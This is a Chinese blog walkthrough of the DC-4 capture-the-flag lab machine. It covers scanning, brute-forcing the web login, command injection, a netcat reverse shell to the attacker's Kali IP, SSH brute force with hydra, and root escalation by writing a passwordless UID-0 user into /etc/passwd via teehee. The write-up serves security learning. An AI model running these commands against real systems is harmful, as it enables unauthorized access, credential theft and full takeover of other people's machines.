【DC滲透系列DC-4】

来源:https://www.cnblogs.com/p1ggy/p/18007374
-Advertisement-
Play Games

主機發現 arp-scan -l ┌──(root㉿kali)-[~] └─# arp-scan -l Interface: eth0, type: EN10MB, MAC: 00:0c:29:6b:ed:27, IPv4: 192.168.100.251 Starting arp-scan 1.1 ...


主機發現

arp-scan -l
┌──(root㉿kali)-[~]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:6b:ed:27, IPv4: 192.168.100.251
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.100.1   00:50:56:c0:00:08       VMware, Inc.
192.168.100.2   00:50:56:fc:f2:a6       VMware, Inc.
192.168.100.24  00:0c:29:36:b4:4e       VMware, Inc.
192.168.100.254 00:50:56:fe:f1:0e       VMware, Inc.

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.964 seconds (130.35 hosts/sec). 4 responded

埠掃描

┌──(root㉿kali)-[~]
└─# nmap -sS -sV -A -n 192.168.100.24
Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-03 21:13 EST
Nmap scan report for 192.168.100.24
Host is up (0.00015s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0)
| ssh-hostkey: 
|   2048 8d:60:57:06:6c:27:e0:2f:76:2c:e6:42:c0:01:ba:25 (RSA)
|   256 e7:83:8c:d7:bb:84:f3:2e:e8:a2:5f:79:6f:8e:19:30 (ECDSA)
|_  256 fd:39:47:8a:5e:58:33:99:73:73:9e:22:7f:90:4f:4b (ED25519)
80/tcp open  http    nginx 1.15.10
|_http-title: System Tools
|_http-server-header: nginx/1.15.10
MAC Address: 00:0C:29:36:B4:4E (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.15 ms 192.168.100.24

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.16 seconds

瀏覽器訪問

在這裡插入圖片描述

探測站點

在這裡插入圖片描述

┌──(root㉿kali)-[~]
└─# whatweb -v 192.168.100.24
WhatWeb report for http://192.168.100.24
Status    : 200 OK
Title     : System Tools
IP        : 192.168.100.24
Country   : RESERVED, ZZ

Summary   : HTML5, HTTPServer[nginx/1.15.10], nginx[1.15.10], PasswordField[password]

Detected Plugins:
[ HTML5 ]
        HTML version 5, detected by the doctype declaration 


[ HTTPServer ]
        HTTP server header string. This plugin also attempts to 
        identify the operating system from the server header. 

        String       : nginx/1.15.10 (from server string)

[ PasswordField ]
        find password fields 

        String       : password (from field name)

[ nginx ]
        Nginx (Engine-X) is a free, open-source, high-performance 
        HTTP server and reverse proxy, as well as an IMAP/POP3 
        proxy server. 

        Version      : 1.15.10
        Website     : http://nginx.net/

HTTP Headers:
        HTTP/1.1 200 OK
        Server: nginx/1.15.10
        Date: Sun, 04 Feb 2024 02:17:35 GMT
        Content-Type: text/html; charset=UTF-8
        Transfer-Encoding: chunked
        Connection: close

目錄探測

敏感目錄探測

┌──(root㉿kali)-[~]
└─# nikto -h 192.168.100.24                                                                             
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.100.24
+ Target Hostname:    192.168.100.24
+ Target Port:        80
+ Start Time:         2024-02-03 21:23:47 (GMT-5)
---------------------------------------------------------------------------
+ Server: nginx/1.15.10
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /login.php: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
+ /#wp-config.php#: #wp-config.php# file found. This file contains the credentials.
+ 8102 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2024-02-03 21:24:04 (GMT-5) (17 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

┌──(root㉿kali)-[~]
└─# dirsearch -u 192.168.100.24                                                                         

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: /root/reports/_192.168.100.24/_24-02-03_21-24-11.txt

Target: http://192.168.100.24/

[21:24:11] Starting: 
[21:24:23] 302 -  704B  - /command.php  ->  index.php                       
[21:24:24] 301 -  170B  - /css  ->  http://192.168.100.24/css/              
[21:24:29] 403 -  556B  - /images/                                          
[21:24:29] 301 -  170B  - /images  ->  http://192.168.100.24/images/
[21:24:29] 403 -   15B  - /index.pHp                                        
[21:24:31] 302 -  206B  - /login.php  ->  index.php                         
[21:24:31] 302 -  163B  - /logout.php  ->  index.php                        
                                                                             
Task Completed     

一開始想到sql註入但是沒有找到註入點

爆破

抓包後送到intruder進行爆破用戶admin得到密碼happy
在這裡插入圖片描述

拿到密碼登錄

在這裡插入圖片描述
點擊commad後發現可能存在任意命令執行漏洞

在這裡插入圖片描述
抓個包,發現ls -l命令是radio參數後的值
在這裡插入圖片描述
改成pwd後放包試試
存在漏洞,有遠程代碼執行漏洞 可以利用此漏洞進行反彈shell
在這裡插入圖片描述

開起監聽

nc -lvvp 8888

彈shell

nc+-e+/bin/bash+192.168.100.251+8888
nc -e /bin/bash 192.168.100.251 8888
# kali IP

在這裡插入圖片描述

開啟交互界面

python -c 'import pty;pty.spawn("/bin/sh")'

在這裡插入圖片描述
在home里發現三個人物
在這裡插入圖片描述
只有cd到jim里有內容
在這裡插入圖片描述
backups裡面有老密碼,mbox不夠許可權

$ ls
ls
backups  mbox  test.sh
$ cd backups
cd backups
$ ls
ls
old-passwords.bak
$ cd ..
cd ..
$ cd mbox
cd mbox
/bin/sh: 53: cd: can't cd to mbox

把裡面的密碼取出來存著先 命名為jim.txt
在這裡插入圖片描述

可以開始爆破了捏

直接使用jim參數用-l!

hydra -l jim -P jim.txt 192.168.100.24 ssh

在這裡插入圖片描述

使用jim登錄

在這裡插入圖片描述
查看mbox

jim@dc-4:~$ cat mbox
From root@dc-4 Sat Apr 06 20:20:04 2019
Return-path: <root@dc-4>
Envelope-to: jim@dc-4
Delivery-date: Sat, 06 Apr 2019 20:20:04 +1000
Received: from root by dc-4 with local (Exim 4.89)
        (envelope-from <root@dc-4>)
        id 1hCiQe-0000gc-EC
        for jim@dc-4; Sat, 06 Apr 2019 20:20:04 +1000
To: jim@dc-4
Subject: Test
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <E1hCiQe-0000gc-EC@dc-4>
From: root <root@dc-4>
Date: Sat, 06 Apr 2019 20:20:04 +1000
Status: RO

This is a test.

是一封郵件
看看jim有沒有root許可權

jim@dc-4:~$ sudo -l

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for jim: 
Sorry, user jim may not run sudo on dc-4.

很遺憾,沒有
linux的郵件目錄是/var/spool/mail
看到剛纔那封郵件那就查看一下是否存在該目錄
發現charls密碼^xHhA&hvim0y
在這裡插入圖片描述
轉換用戶,發現一個teehee用戶可以使用root無密碼許可權
在這裡插入圖片描述
我們可以使用keehee添加root許可權用戶

echo "yiyi::0:0:::/bin/bash" | sudo teehee -a /etc/passwd  

teehee可以通過修改該文件達到添加用戶的效果,文件格式為

註冊名:口令:用戶標識號:組標識號:用戶名:用戶主目錄:命令解析程式 

口令為x即代表存放有密碼,為空即代表沒有密碼,識標號為0代表root許可權

su yiyi
whoami

在這裡插入圖片描述
進入root目錄獲取flag
在這裡插入圖片描述

本文來自博客園作者:P1ggy,轉載請註明原文鏈接:https://www.cnblogs.com/p1ggy/p/18007374


您的分享是我們最大的動力!

-Advertisement-
Play Games
更多相關文章
  • 一:配置預設文檔 輸入ip打開哪個頁面是由預設文檔設定的 1.打開IIS配置頁面,點擊網站。我們的預設站點已經啟動,可以看到綁定的ip和網頁的路徑 2.選中Default Web Site,可以看到有個預設文檔 3.打開預設文檔發現已經有五個條目,右鍵添加我們想要的預設文檔名 如果想要預設文檔名為f ...
  • 實驗介紹:IIS的作用 IIS是web伺服器中常見的一種。當客戶端想訪問某個功能變數名稱時,向web伺服器發出請求。web伺服器返回網頁的代碼做出回應。客戶端解析代碼生成網頁。 一:安裝IIS 1.打開一臺windows伺服器,修改IP為192.168.1.208 2.打開伺服器管理器,安裝web伺服器(I ...
  • 故障如圖: 即所有原本顯示【桌面】的地方,變成英文Desktop了,雖說本體目錄名就是desktop,只是顯示出來的名稱做了本地化,但顯示故障也是故障。 解決辦法: 先看desktop目錄的屬性,正常的屬性是這樣的: 即只有一個R屬性,如果你的不是這樣,就要讓它變成這樣,我的情況是缺乏R屬性,所以要 ...
  • 哈嘍大家好,我是鹹魚。 接觸過 Linux 的小伙伴們都知道在 Linux (或者說類 Unix)中,有三種類型的用戶: 超級用戶(UID 為 0):即 root 用戶,擁有最高許可權。 系統用戶(UID 為 1~999):系統內建用戶,用於運行系統服務和守護進程。 普通用戶(UID 為 1000~6 ...
  • 本文介紹Git軟體與GitHub平臺的基本內容、使用方法與應用場景等。 目錄1 初步介紹2 使用方法2.1 GitHub配置2.2 Git配置2.3 代碼上傳至GitHub 1 初步介紹 首先,什麼是GitHub與Git?為什麼我們要運用這些工具? 首先從GitHub說起。如果大家參加過數學建模比賽 ...
  • ## 複製、粘貼及其他常規 Ctrl + X 剪切選定項。 Ctrl + C(或 Ctrl + Insert) 複製選定項。 Ctrl + V(或 Shift + Insert) 粘貼選定項。 Ctrl + Z 撤消操作。 Alt + Tab 在打開的應用­之間切換。 Alt + F4 關閉活動項, ...
  • 使用了標準庫頭文件 <setjmp.h>中的 setjmp 和 longjmp兩個函數,構建了一個簡單的查詢式協作多任務系統,支持獨立棧和共用棧兩種任務。 其中涉及到獲取和設置棧的地址操作,因此還需要根據不同平臺提供獲取和設置棧的地址操作(一般是彙編語言,因為涉及到寄存器) 該調度系統僅運行在一個實 ...
  • TTime —— 一款簡潔高效的輸入、截圖、劃詞翻譯軟體。支持輸入翻譯、截圖翻譯、劃詞翻譯、懸浮球翻譯、截圖OCR、靜默截圖OCR、剪貼板監聽翻譯。 ...
一周排行
    -Advertisement-
    Play Games
  • 移動開發(一):使用.NET MAUI開發第一個安卓APP 對於工作多年的C#程式員來說,近來想嘗試開發一款安卓APP,考慮了很久最終選擇使用.NET MAUI這個微軟官方的框架來嘗試體驗開發安卓APP,畢竟是使用Visual Studio開發工具,使用起來也比較的順手,結合微軟官方的教程進行了安卓 ...
  • 前言 QuestPDF 是一個開源 .NET 庫,用於生成 PDF 文檔。使用了C# Fluent API方式可簡化開發、減少錯誤並提高工作效率。利用它可以輕鬆生成 PDF 報告、發票、導出文件等。 項目介紹 QuestPDF 是一個革命性的開源 .NET 庫,它徹底改變了我們生成 PDF 文檔的方 ...
  • 項目地址 項目後端地址: https://github.com/ZyPLJ/ZYTteeHole 項目前端頁面地址: ZyPLJ/TreeHoleVue (github.com) https://github.com/ZyPLJ/TreeHoleVue 目前項目測試訪問地址: http://tree ...
  • 話不多說,直接開乾 一.下載 1.官方鏈接下載: https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads 2.在下載目錄中找到下麵這個小的安裝包 SQL2022-SSEI-Dev.exe,運行開始下載SQL server; 二. ...
  • 前言 隨著物聯網(IoT)技術的迅猛發展,MQTT(消息隊列遙測傳輸)協議憑藉其輕量級和高效性,已成為眾多物聯網應用的首選通信標準。 MQTTnet 作為一個高性能的 .NET 開源庫,為 .NET 平臺上的 MQTT 客戶端與伺服器開發提供了強大的支持。 本文將全面介紹 MQTTnet 的核心功能 ...
  • Serilog支持多種接收器用於日誌存儲,增強器用於添加屬性,LogContext管理動態屬性,支持多種輸出格式包括純文本、JSON及ExpressionTemplate。還提供了自定義格式化選項,適用於不同需求。 ...
  • 目錄簡介獲取 HTML 文檔解析 HTML 文檔測試參考文章 簡介 動態內容網站使用 JavaScript 腳本動態檢索和渲染數據,爬取信息時需要模擬瀏覽器行為,否則獲取到的源碼基本是空的。 本文使用的爬取步驟如下: 使用 Selenium 獲取渲染後的 HTML 文檔 使用 HtmlAgility ...
  • 1.前言 什麼是熱更新 游戲或者軟體更新時,無需重新下載客戶端進行安裝,而是在應用程式啟動的情況下,在內部進行資源或者代碼更新 Unity目前常用熱更新解決方案 HybridCLR,Xlua,ILRuntime等 Unity目前常用資源管理解決方案 AssetBundles,Addressable, ...
  • 本文章主要是在C# ASP.NET Core Web API框架實現向手機發送驗證碼簡訊功能。這裡我選擇是一個互億無線簡訊驗證碼平臺,其實像阿裡雲,騰訊雲上面也可以。 首先我們先去 互億無線 https://www.ihuyi.com/api/sms.html 去註冊一個賬號 註冊完成賬號後,它會送 ...
  • 通過以下方式可以高效,並保證數據同步的可靠性 1.API設計 使用RESTful設計,確保API端點明確,並使用適當的HTTP方法(如POST用於創建,PUT用於更新)。 設計清晰的請求和響應模型,以確保客戶端能夠理解預期格式。 2.數據驗證 在伺服器端進行嚴格的數據驗證,確保接收到的數據符合預期格 ...